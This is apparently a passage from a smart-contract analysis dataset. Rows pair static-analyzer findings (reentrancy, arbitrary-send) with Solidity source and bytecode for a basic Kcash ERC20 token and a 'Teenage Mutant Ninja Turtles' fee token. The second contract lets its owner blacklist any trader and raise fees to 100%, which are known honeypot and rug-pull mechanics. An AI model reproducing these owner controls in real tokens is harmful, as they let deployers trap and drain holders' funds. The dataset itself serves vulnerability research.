{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
5,464
0x32d74896f05204d1b6ae7b0a3cebd7fc0cd8f9c7
pragma solidity ^0.4.21; /** * @title ERC20Basic * @dev Simpler version of ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/179 */ contract ERC20Basic { function totalSupply() public view returns (uint256); function balanceOf(address who) public view returns (uint256); function transfer(address to, uint256 value) public returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } /** * @title ERC20 interface * @dev see https://github.com/ethereum/EIPs/issues/20 */ contract ERC20 is ERC20Basic { function allowance(address owner, address spender) public view returns (uint256); function transferFrom(address from, address to, uint256 value) public returns (bool); function approve(address spender, uint256 value) public returns (bool); event Approval(address indexed owner, address indexed spender, uint256 value); } /** * @title Basic token * @dev Basic version of StandardToken, with no allowances. */ contract BasicToken is ERC20Basic { using SafeMath for uint256; mapping(address => uint256) balances; uint256 totalSupply_; /** * @dev total number of tokens in existence */ function totalSupply() public view returns (uint256) { return totalSupply_; } /** * @dev transfer token for a specified address * @param _to The address to transfer to. * @param _value The amount to be transferred. */ function transfer(address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[msg.sender]); // SafeMath.sub will throw if there is not enough balance. balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(msg.sender, _to, _value); return true; } /** * @dev Gets the balance of the specified address. * @param _owner The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function balanceOf(address _owner) public view returns (uint256 balance) { return balances[_owner]; } } /** * @title Standard ERC20 token * * @dev Implementation of the basic standard token. * @dev https://github.com/ethereum/EIPs/issues/20 * @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol */ contract StandardToken is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender&#39;s allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { require((_value == 0) || allowed[msg.sender][_spender]== 0); allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } /** * @dev Increase the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To increment * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _addedValue The amount of tokens to increase the allowance by. */ function increaseApproval(address _spender, uint _addedValue) public returns (bool) { allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } /** * @dev Decrease the amount of tokens that an owner allowed to a spender. * * approve should be called when allowed[_spender] == 0. To decrement * allowed value is better to use this function to avoid 2 calls (and wait until * the first transaction is mined) * From MonolithDAO Token.sol * @param _spender The address which will spend the funds. * @param _subtractedValue The amount of tokens to decrease the allowance by. */ function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { uint oldValue = allowed[msg.sender][_spender]; if (_subtractedValue > oldValue) { allowed[msg.sender][_spender] = 0; } else { allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); } emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]); return true; } } /** * @title SimpleToken * @dev Very simple ERC20 Token example, where all tokens are pre-assigned to the creator. * Note they can later distribute these tokens as they wish using `transfer` and other * `StandardToken` functions. */ contract KcashToken is StandardToken { string public constant name = "Kcash"; // solium-disable-line uppercase string public constant symbol = "KCASH"; // solium-disable-line uppercase uint8 public constant decimals = 18; // solium-disable-line uppercase uint256 public constant INITIAL_SUPPLY = (10 ** 9) * (10 ** uint256(decimals)); /** * @dev Constructor that gives msg.sender all of existing tokens. */ function KcashToken() public { totalSupply_ = INITIAL_SUPPLY; balances[msg.sender] = INITIAL_SUPPLY; emit Transfer(0x0, msg.sender, INITIAL_SUPPLY); } }
0x6060604052600436106100b95763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde0381146100be578063095ea7b31461014857806318160ddd1461017e57806323b872dd146101a35780632ff2e9dc146101cb578063313ce567146101de578063661884631461020757806370a082311461022957806395d89b4114610248578063a9059cbb1461025b578063d73dd6231461027d578063dd62ed3e1461029f575b600080fd5b34156100c957600080fd5b6100d16102c4565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561010d5780820151838201526020016100f5565b50505050905090810190601f16801561013a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561015357600080fd5b61016a600160a060020a03600435166024356102fb565b604051901515815260200160405180910390f35b341561018957600080fd5b6101916103a1565b60405190815260200160405180910390f35b34156101ae57600080fd5b61016a600160a060020a03600435811690602435166044356103a7565b34156101d657600080fd5b610191610527565b34156101e957600080fd5b6101f1610537565b60405160ff909116815260200160405180910390f35b341561021257600080fd5b61016a600160a060020a036004351660243561053c565b341561023457600080fd5b610191600160a060020a0360043516610636565b341561025357600080fd5b6100d1610651565b341561026657600080fd5b61016a600160a060020a0360043516602435610688565b341561028857600080fd5b61016a600160a060020a036004351660243561079a565b34156102aa57600080fd5b610191600160a060020a036004358116906024351661083e565b60408051908101604052600581527f4b63617368000000000000000000000000000000000000000000000000000000602082015281565b600081158061032d5750600160a060020a03338116600090815260026020908152604080832093871683529290522054155b151561033857600080fd5b600160a060020a03338116600081815260026020908152604080832094881680845294909152908190208590557f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259085905190815260200160405180910390a350600192915050565b60015490565b6000600160a060020a03831615156103be57600080fd5b600160a060020a0384166000908152602081905260409020548211156103e357600080fd5b600160a060020a038085166000908152600260209081526040808320339094168352929052205482111561041657600080fd5b600160a060020a03841660009081526020819052604090205461043f908363ffffffff61086916565b600160a060020a038086166000908152602081905260408082209390935590851681522054610474908363ffffffff61087b16565b600160a060020a03808516600090815260208181526040808320949094558783168252600281528382203390931682529190915220546104ba908363ffffffff61086916565b600160a060020a03808616600081815260026020908152604080832033861684529091529081902093909355908516917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9085905190815260200160405180910390a35060019392505050565b6b033b2e3c9fd0803ce800000081565b601281565b600160a060020a0333811660009081526002602090815260408083209386168352929052908120548083111561059957600160a060020a0333811660009081526002602090815260408083209388168352929052908120556105d0565b6105a9818463ffffffff61086916565b600160a060020a033381166000908152600260209081526040808320938916835292905220555b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b600160a060020a031660009081526020819052604090205490565b60408051908101604052600581527f4b43415348000000000000000000000000000000000000000000000000000000602082015281565b6000600160a060020a038316151561069f57600080fd5b600160a060020a0333166000908152602081905260409020548211156106c457600080fd5b600160a060020a0333166000908152602081905260409020546106ed908363ffffffff61086916565b600160a060020a033381166000908152602081905260408082209390935590851681522054610722908363ffffffff61087b16565b60008085600160a060020a0316600160a060020a031681526020019081526020016000208190555082600160a060020a031633600160a060020a03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405190815260200160405180910390a350600192915050565b600160a060020a0333811660009081526002602090815260408083209386168352929052908120546107d2908363ffffffff61087b16565b600160a060020a0333811660008181526002602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600160a060020a03918216600090815260026020908152604080832093909416825291909152205490565b60008282111561087557fe5b50900390565b60008282018381101561088a57fe5b93925050505600a165627a7a723058207e3742ff2a13c33f6e5f138fbbc5307cc10be14f4c47a5d2cde089fdc7c941b60029
{"success": true, "error": null, "results": {}}
5,465
0xe0bf1872f2f46d46e6dc89aad20b4efb65cb79ba
// SPDX-License-Identifier: MIT pragma solidity ^0.8.4; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns (uint256 amountToken, uint256 amountETH, uint256 liquidity); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); } abstract contract IERC20Extented is IERC20 { function decimals() public view virtual returns (uint8); function name() public view virtual returns (string memory); function symbol() public view virtual returns (string memory); } contract TeenageMutantNinjaTurtles is Context, IERC20, IERC20Extented, Ownable { using SafeMath for uint256; string private constant _name = "Teenage Mutant Ninja Turtles"; string private constant _symbol = "TMNT"; uint8 private constant _decimals = 9; mapping(address => uint256) private balances; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _tFeeTotal; uint256 private _firstBlock; uint256 private _botBlocks; uint256 public _buybackFee = 50; uint256 private _previousBuybackFee = _buybackFee; uint256 public _marketingFee = 25; uint256 private _previousMarketingFee = _marketingFee; uint256 public _devFee = 25; uint256 private _previousDevFee = _devFee; uint256 public _marketingPercent = 50; uint256 public _buybackPercent = 50; mapping(address => bool) private bots; address payable private _marketingAddress = payable(0x24480B08f45dA7871AFF0F5234D192b87bd9D7DF); address payable private _buybackAddress = payable(0xF1d76Bfb6368CcDd31C4b3f835170C243a6f7c93); IUniswapV2Router02 private uniswapV2Router; address public uniswapV2Pair; uint256 private _maxTxAmount; bool private tradingOpen = false; bool private inSwap = false; event MaxTxAmountUpdated(uint256 _maxTxAmount); event PercentsUpdated(uint256 _marketingPercent, uint256 _buybackPercent); event FeesUpdated(uint256 _buybackFee, uint256 _marketingFee, uint256 _devFee); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH()); IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type(uint256).max); _maxTxAmount = _tTotal; balances[_msgSender()] = _tTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_marketingAddress] = true; _isExcludedFromFee[_buybackAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() override public pure returns (string memory) { return _name; } function symbol() override public pure returns (string memory) { return _symbol; } function decimals() override public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender,_msgSender(),_allowances[sender][_msgSender()].sub(amount,"ERC20: transfer amount exceeds allowance")); return true; } function removeAllFee() private { if (_marketingFee == 0 && _buybackFee == 0 && _devFee == 0) return; _previousMarketingFee = _marketingFee; _previousBuybackFee = _buybackFee; _previousDevFee = _devFee; _marketingFee = 0; _buybackFee = 0; _devFee = 0; } function restoreAllFee() private { _marketingFee = _previousMarketingFee; _buybackFee = _previousBuybackFee; _devFee = _previousDevFee; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { require(tradingOpen); require(amount <= _maxTxAmount); if (block.timestamp <= _firstBlock + (5 minutes)) { require(amount <= _tTotal.div(100)); } if (from == uniswapV2Pair && to != address(uniswapV2Router)) { if (block.timestamp <= _firstBlock.add(_botBlocks)) { bots[to] = true; } } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { require(!bots[to] && !bots[from]); if (contractTokenBalance > 0) { swapTokensForEth(contractTokenBalance); } uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); restoreAllFee(); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount.mul(_marketingPercent).div(100)); _buybackAddress.transfer(amount.mul(_buybackPercent).div(100)); } function openTrading(uint256 botBlocks) external onlyOwner() { _firstBlock = block.timestamp; _botBlocks = botBlocks; tradingOpen = true; } function manualswap() external { require(_msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private { if (!takeFee) removeAllFee(); (uint256 tTransferAmount, uint256 tBuyback, uint256 tMarketing, uint256 tDev) = _getValues(tAmount); balances[sender] = balances[sender].sub(tAmount); balances[recipient] = balances[recipient].add(tTransferAmount); _takeBuyback(tBuyback); _takeMarketing(tMarketing); _takeDev(tDev); emit Transfer(sender, recipient, tTransferAmount); } function _takeBuyback(uint256 tBuyback) private { balances[address(this)] = balances[address(this)].add(tBuyback); } function _takeMarketing(uint256 tMarketing) private { balances[address(this)] = balances[address(this)].add(tMarketing); } function _takeDev(uint256 tDev) private { balances[address(this)] = balances[address(this)].add(tDev); } receive() external payable {} function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) { uint256 tBuyback = tAmount.mul(_buybackFee).div(1000); uint256 tMarketing = tAmount.mul(_marketingFee).div(1000); uint256 tDev = tAmount.mul(_devFee).div(1000); uint256 tTransferAmount = tAmount.sub(tBuyback).sub(tMarketing); tTransferAmount -= tDev; return (tTransferAmount, tBuyback, tMarketing, tDev); } function excludeFromFee(address account) public onlyOwner { _isExcludedFromFee[account] = true; } function includeInFee(address account) public onlyOwner { _isExcludedFromFee[account] = false; } function removeBot(address account) public onlyOwner() { bots[account] = false; } function addBot(address account) public onlyOwner() { bots[account] = true; } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } function setPercents(uint256 marketingPercent, uint256 buybackPercent) external onlyOwner() { require(marketingPercent.add(buybackPercent) == 100, "Sum of percents must equal 100"); _marketingPercent = marketingPercent; _buybackPercent = buybackPercent; emit PercentsUpdated(_marketingPercent, _buybackPercent); } function setTaxes(uint256 marketingFee, uint256 buybackFee, uint256 devFee) external onlyOwner() { require(marketingFee.add(buybackFee).add(devFee) <= 1000, "Sum of sell fees must be less than 1000"); _marketingFee = marketingFee; _buybackFee = buybackFee; _devFee = devFee; _previousMarketingFee = _marketingFee; _previousBuybackFee = _buybackFee; _previousDevFee = _devFee; emit FeesUpdated(_marketingFee, _buybackFee, _devFee); } }
0x6080604052600436106101a05760003560e01c8063770d9907116100ec578063d16336491161008a578063e1d7eefd11610064578063e1d7eefd1461059d578063e9dae5ed146105c8578063ea2f0b37146105f1578063ffecf5161461061a576101a7565b8063d16336491461050e578063d543dbeb14610537578063dd62ed3e14610560576101a7565b8063a9059cbb116100c6578063a9059cbb14610466578063aa45026b146104a3578063b44a14b6146104ce578063c3c8cd80146104f7576101a7565b8063770d9907146103e55780638da5cb5b1461041057806395d89b411461043b576101a7565b8063313ce567116101595780635fecd926116101335780635fecd926146103515780636fc3eaec1461037a57806370a0823114610391578063715018a6146103ce576101a7565b8063313ce567146102d2578063437823ec146102fd57806349bd5a5e14610326576101a7565b806306fdde03146101ac578063095ea7b3146101d757806318160ddd1461021457806319de79ab1461023f57806322976e0d1461026a57806323b872dd14610295576101a7565b366101a757005b600080fd5b3480156101b857600080fd5b506101c1610643565b6040516101ce9190612bc7565b60405180910390f35b3480156101e357600080fd5b506101fe60048036038101906101f99190612817565b610680565b60405161020b9190612bac565b60405180910390f35b34801561022057600080fd5b5061022961069e565b6040516102369190612d49565b60405180910390f35b34801561024b57600080fd5b506102546106af565b6040516102619190612d49565b60405180910390f35b34801561027657600080fd5b5061027f6106b5565b60405161028c9190612d49565b60405180910390f35b3480156102a157600080fd5b506102bc60048036038101906102b791906127c8565b6106bb565b6040516102c99190612bac565b60405180910390f35b3480156102de57600080fd5b506102e7610794565b6040516102f49190612e1e565b60405180910390f35b34801561030957600080fd5b50610324600480360381019061031f919061273a565b61079d565b005b34801561033257600080fd5b5061033b61088d565b6040516103489190612b91565b60405180910390f35b34801561035d57600080fd5b506103786004803603810190610373919061273a565b6108b3565b005b34801561038657600080fd5b5061038f6109a3565b005b34801561039d57600080fd5b506103b860048036038101906103b3919061273a565b610a15565b6040516103c59190612d49565b60405180910390f35b3480156103da57600080fd5b506103e3610a5e565b005b3480156103f157600080fd5b506103fa610bb1565b6040516104079190612d49565b60405180910390f35b34801561041c57600080fd5b50610425610bb7565b6040516104329190612b91565b60405180910390f35b34801561044757600080fd5b50610450610be0565b60405161045d9190612bc7565b60405180910390f35b34801561047257600080fd5b5061048d60048036038101906104889190612817565b610c1d565b60405161049a9190612bac565b60405180910390f35b3480156104af57600080fd5b506104b8610c3b565b6040516104c59190612d49565b60405180910390f35b3480156104da57600080fd5b506104f560048036038101906104f0919061287c565b610c41565b005b34801561050357600080fd5b5061050c610d7a565b005b34801561051a57600080fd5b5061053560048036038101906105309190612853565b610df4565b005b34801561054357600080fd5b5061055e60048036038101906105599190612853565b610eb5565b005b34801561056c57600080fd5b506105876004803603810190610582919061278c565b610ffe565b6040516105949190612d49565b60405180910390f35b3480156105a957600080fd5b506105b2611085565b6040516105bf9190612d49565b60405180910390f35b3480156105d457600080fd5b506105ef60048036038101906105ea91906128b8565b61108b565b005b3480156105fd57600080fd5b506106186004803603810190610613919061273a565b6111ff565b005b34801561062657600080fd5b50610641600480360381019061063c919061273a565b6112ef565b005b60606040518060400160405280601c81526020017f5465656e616765204d7574616e74204e696e6a6120547572746c657300000000815250905090565b600061069461068d6113df565b84846113e7565b6001905092915050565b6000683635c9adc5dea00000905090565b60085481565b600a5481565b60006106c88484846115b2565b610789846106d46113df565b610784856040518060600160405280602881526020016133a860289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061073a6113df565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611baf9092919063ffffffff16565b6113e7565b600190509392505050565b60006009905090565b6107a56113df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610832576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161082990612ca9565b60405180910390fd5b6001600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6108bb6113df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610948576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161093f90612ca9565b60405180910390fd5b6000601060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166109e46113df565b73ffffffffffffffffffffffffffffffffffffffff1614610a0457600080fd5b6000479050610a1281611c13565b50565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610a666113df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610af3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610aea90612ca9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600e5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600481526020017f544d4e5400000000000000000000000000000000000000000000000000000000815250905090565b6000610c31610c2a6113df565b84846115b2565b6001905092915050565b600c5481565b610c496113df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cd6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ccd90612ca9565b60405180910390fd5b6064610ceb8284611d3690919063ffffffff16565b14610d2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2290612ce9565b60405180910390fd5b81600e8190555080600f819055507f012f5df73148ec03a4ac44111fcf100a014ee232c9f1b328180ab5f3996821e5600e54600f54604051610d6e929190612dbe565b60405180910390a15050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dbb6113df565b73ffffffffffffffffffffffffffffffffffffffff1614610ddb57600080fd5b6000610de630610a15565b9050610df181611d94565b50565b610dfc6113df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610e89576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8090612ca9565b60405180910390fd5b42600681905550806007819055506001601660006101000a81548160ff02191690831515021790555050565b610ebd6113df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f4a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4190612ca9565b60405180910390fd5b60008111610f8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f8490612c49565b60405180910390fd5b610fbc6064610fae83683635c9adc5dea0000061208e90919063ffffffff16565b61210990919063ffffffff16565b6015819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf601554604051610ff39190612d49565b60405180910390a150565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600f5481565b6110936113df565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611120576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161111790612ca9565b60405180910390fd5b6103e86111488261113a8587611d3690919063ffffffff16565b611d3690919063ffffffff16565b1115611189576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161118090612c69565b60405180910390fd5b82600a819055508160088190555080600c81905550600a54600b8190555060085